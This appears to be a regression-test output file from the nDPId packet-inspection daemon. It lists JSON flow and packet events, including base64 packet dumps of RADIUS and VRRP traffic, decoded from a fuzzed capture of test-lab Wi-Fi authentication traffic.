+00494{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":151,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1528997403593,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.110","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01350{"flow_id":31,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":151,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997403,"pkt_ts_usec":593616,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":745,"pkt_l4_len":711,"pkt":"AAAMB6xAABRP+4rqCABFAALbIQxAAP8RAAAKDEBuxuIZNXIQBxQCxwAAAVYCv+kKLAd5QTZEtH35XGAZbVIaCgAAV8gOBMFTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQMwNwZbIqYbATUwMzExNDgwMDczNmM4MDcyQHdkYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktNjAtZDEtN2QtMzceJTAwLWE3LTQyLWQgLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwYzExMmE2MjI1YiwgNWIyMmE2MTIvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjI0BAasFAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAEBRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TzoCAQA4ATAzMTE0ZTAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZxoUqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":151,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1528997403593,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.110","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00492{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":152,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1528997403841,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"72.226.25.53","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00678{"flow_id":32,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":152,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997403,"pkt_ts_usec":841770,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":239,"pkt_l4_len":205,"pkt":"ABRP+4rqUtuYVcUnCABFAADhAMdAAPwRUwNI4hk1CgxAHgcUchAAzZCBC1YAxcgsJl6LYV\/S6USqzg063n4BZDAzMTE0ODAwNzM2MzgwNzJAd01hbi55bmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE2MTIvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjI0T0oBAgBIFwEAAAEFAADHRYXcoWwXwUZiNDAUiPZYAgUAAKf5M2Yd6gAAEyJCfEY39q2LAQACCwUAABPeNlqa\/2jA+R6oV5E\/laFQEt3nRw9TK906hgwY5FpY4\/w="} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":152,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1528997403841,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"72.226.25.53","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00495{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":155,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1528997403593,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.110","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00493{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":155,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1528997399308,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.37.0","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00506{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":155,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":5,"flow_first_seen":1528996603395,"flow_last_seen":1528996832079,"flow_tot_l4_data_len":2154,"flow_min_l4_data_len":113,"flow_max_l4_data_len":842,"flow_avg_l4_data_len":430,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1813,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00493{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":155,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1528997403841,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"72.226.25.53","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01311{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":155,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997476,"pkt_ts_usec":267452,"pkt_caplen":745,"pkt_type":43690,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":745,"pkt_l4_len":0,"pkt":"AAAMB6xAABRPqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00173{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":155,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","type":43690} +00635{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":156,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997476,"pkt_ts_usec":466897,"pkt_caplen":239,"pkt_type":43690,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":239,"pkt_l4_len":0,"pkt":"ABRP+4rqcNuqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00173{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":156,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","type":43690} +00492{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":157,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1528997476761,"flow_last_seen":0,"flow_tot_l4_data_len":691,"flow_min_l4_data_len":691,"flow_max_l4_data_len":691,"flow_avg_l4_data_len":691,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.37.0","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01322{"flow_id":33,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":157,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997476,"pkt_ts_usec":761239,"pkt_caplen":725,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":725,"pkt_l4_len":691,"pkt":"AAAMB6xAABRP+4rqCABFAALHIQ9AAP8RAAAKDEAexuIlAHIQBxQCswAAAVkCqxzt3wAE2R1LMmmDUD0Gdm8aCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwJQAAADghDQM3N0xbIqZkATUwMzExNDgwMjUwODY0NjI4QHdsYW4uVm6qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":157,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1528997476761,"flow_last_seen":0,"flow_tot_l4_data_len":691,"flow_min_l4_data_len":691,"flow_max_l4_data_len":691,"flow_avg_l4_data_len":691,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.37.0","src_port":29200,"dst_port":1812,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00493{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":159,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1528997476761,"flow_last_seen":0,"flow_tot_l4_data_len":691,"flow_min_l4_data_len":691,"flow_max_l4_data_len":691,"flow_avg_l4_data_len":691,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.37.0","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00458{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":161,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1528997632285,"flow_last_seen":0,"flow_tot_l4_data_len":691,"flow_min_l4_data_len":691,"flow_max_l4_data_len":691,"flow_avg_l4_data_len":691,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","l4_proto":112,"flow_datalink":1,"flow_max_packets":15} +01322{"flow_id":34,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":161,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997632,"pkt_ts_usec":285653,"pkt_caplen":725,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":725,"pkt_l4_len":691,"pkt":"AAAMu6xAABRP+4rqCABFAALHIRFAAP9wAAAKDEAexuIZNXIQBxQCswAAAVsCq00mnArJWXX+N3JhhZON0ToaCgBDV8gOBFVTGgwAAFfIDQZ3aWZpGg8ACFfICQlXSVNQUjEwGgkAADghDQMzNwZbIqcAATUwMzExNDgwMjUwODY0NjI4QHdsYW4ubW5jNDgwLm1jYzMxNS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TMDAtNTYtY2QtNmQtNDItNSkeJTZjLaqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00490{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":161,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1528997632285,"flow_last_seen":0,"flow_tot_l4_data_len":691,"flow_min_l4_data_len":691,"flow_max_l4_data_len":691,"flow_avg_l4_data_len":691,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","l4_proto":112,"ndpi": {"proto":"VRRP","breed":"Acceptable","category":"Network"}} +00743{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":162,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997632,"pkt_ts_usec":478128,"pkt_caplen":318,"pkt_type":17664,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":318,"pkt_l4_len":0,"pkt":"ABRP+4rqcNuYVcUnRQBFAAEwA2FAAPwRUBrG4hk1CgxAHgcUchABHGYCAlsBFPJGkwRL+pjdA5197qGahcwaCwAAV8gbBVNQQxpuAAABNxA06\/sNxTnxG6ukTqwhWbbA2iqJ9xUQWB4T5BwZI+vaxI+7bs\/vfw\/eMzQ3J3YR5Fh5RZWRNDm4c5zmNtk9aBmMKxf9+K7wySD8NYXouGgH0g5FMhfbrMBBWqKOxwRMjh\/pBwtArUnjATUwMzExNDgwMjUwODY0NjI4QHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmcsIDViMjJhNmZmLzAwOjU2OmNkOjZkOjQyOjU5LzIyNyUAMjAxMjU0NDIzNRIJU3Vj42VzcxkFU1BDTwYDAgAEUBLN9Y5G45qq3LYn60raic1U"} +00173{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":162,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","type":17664} +00459{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":163,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1528997632285,"flow_last_seen":0,"flow_tot_l4_data_len":691,"flow_min_l4_data_len":691,"flow_max_l4_data_len":691,"flow_avg_l4_data_len":691,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","l4_proto":112,"flow_datalink":1,"flow_max_packets":15} +01351{"flow_id":16,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":163,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997654,"pkt_ts_usec":780531,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":745,"pkt_l4_len":711,"pkt":"AAAMB6xAABRP+4rqCABFAALbtO9AAP8RAAAKDEAexuIZPnIQBxQCxwAAAVwCv7knE2qlA0dSDjfn0lqV5KwaCgAAV8gOBF1TGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQMxNwZbIqcWATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktNjAtZDEtN2QtMzceJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XeUZpQWNjZXNzBQYAAAAIGjEAAABJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMHAwMDAgYzUxNmE3MjI1YiwgNWIyMmE3MTYvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjI4BAasFAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBmoAAQIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TzoCAQA4ATAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjM5cHBuZXR3b3JrWG9yZxoUAABXyAcOVlpXQzJUZXN0TGFiZAoAAFfICARFVBoQAABXyAoKUyUAbmRhcmQaEAAAV8gLClRlc3QgTGFiGgkAAFfIDwMxGgoAAFfIEAROShoRAABXyBELTHluZGh1cnN0GgwAAFfIEgYAAADJGhcAAFfIHRElAFcgQzIgVGVzdCBMYWIaCwAAR8glBVZ6VxoNAAA4IQ4HMDcwNzEaDAAAJbNNBgAAAAAaFQAAOCESD0ludmFsaWQgVmFsdWUaHQAAOCETFzQwLjgwNDg4Mk4tNzQuMTAyODM5VxoMAAA4IRQGAAABAhoMAAA4IRUGAAAAAhoVAAA4IRYPU3RhZGl1bS9pRmVjdBoMAAAFgwcGwFBKmVAS3kF7XmN2ldE5ieMRbbfICA=="} +00490{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":164,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1528997655006,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"37.0.25.62","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00673{"flow_id":35,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":164,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997655,"pkt_ts_usec":6021,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":239,"pkt_l4_len":205,"pkt":"ABRP+4rqcNuYVcUnCABFAADhA5NAAPwRJQAlABk+CgxAHgcUchAAzVdGC1wAxX62GNWdpucNZiYPcJ1Tw+4BNTAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyamE3MTYvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjI4T0oBAgBIFwEAAAEF+QC\/pRrW1P2OBIB77PLtyYRYAgUAAKO0Q86taQAA4Eb2Dn1+Ei2LAQACCwUAANEKc5kzaUyUHJ2asC+h4v1QEoNkNdC6vGAIe51fKjW9k5g="} +00524{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":164,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1528997655006,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"37.0.25.62","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +01284{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":165,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997655,"pkt_ts_usec":347789,"pkt_caplen":725,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":725,"pkt_l4_len":0,"pkt":"AAAMB6xAABRP+4rqCABFAALHnfCWAP8RAAAKDEAexuIZPnIQBxQCswAAAV0Cq2pJZM0ruVNMnb6INz7DlDAaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFd2CQlXSVNQUjEwGgkQADghDQM1NwZbIqcXATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktNjAtZDEtN2QtMzceUTAwLWE3KjQyLWQwLWUwQDAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwYzUxNmE3MjI1YiwgNWIyMmE3MTYvZjA6Nzk6MjA6ZDE6N2Q6MzcvMjI4JAasFAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TyYCAgAkFwEAAAsFAADLaWk9Y3GhxCUALFVq30f3AwIAIPJ2\/3EaFAAAV8gHDlZaV0MyVGVzdEzhYhoKAABXyAgERVQaEAAAV8gKClN0YW5kYXJkGhAAAFfICwpUZXN0IExhYhoJAABXyA8DMRoKAABXyBAETkoaEQAAV8gRC0x4bmRodXJzdBoMAABXyBIGAAAAyRoXAABXyB0RVlpXIEMyIFRlc3QgTGFiGgsAAFfIJQXOelcaDQAAOCEOBzA3MDcxGgwAADghEQYAAAAAGhUAADghEg9JbnZhbGlkIFZBbHVlGh0AADghExc0MC44MDQ4ODJOLTc2LjEwMjgzOVcaDAAAOCEUBgAAAQIaDAAAOCEVBgAAAAIaFQAAOCEWD1N0YWRpdW26aXJlY3QaDAAABYMHBsB8SplQEpV0+y2O0IA5getcDb\/AJ1c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":165,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":691} +00492{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":166,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1528997655528,"flow_last_seen":0,"flow_tot_l4_data_len":284,"flow_min_l4_data_len":284,"flow_max_l4_data_len":284,"flow_avg_l4_data_len":284,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.62","dst_ip":"10.12.37.0","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00782{"flow_id":36,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":166,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997655,"pkt_ts_usec":528306,"pkt_caplen":318,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":318,"pkt_l4_len":284,"pkt":"ABRP+4rqcNuYZMUnCABFAAEwA5xAAPwRT9bG4hk+CgwlAAcUchB0HNn2Al0BFJBXpcO19tza8j\/VlLjh3P0aCwAAV8gbBVNQQxpuAAABNxA0jONf4TbIHPUvuy933g6GTJqzqlfKJTFZvtaM0NBQo2jkN\/g2tPEp73PKTNfSnSD8j7kRNPVhPusRHPLIHahhhZlLWh2egFea0oaNGerpaQMfhEQ5jMYg8ICzMJVYCSspbKc8\/fk7ATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmcsIjViMjJhNzE2L2YwOjc5OjYwOmQxOjclADM3LzIyOFkMOTA4NDIxMzI5MhIJU3VjY2VzcxkFU1BDTwYDAgAEUBIwdD70xCUAoHuVXO\/FXR+q"} 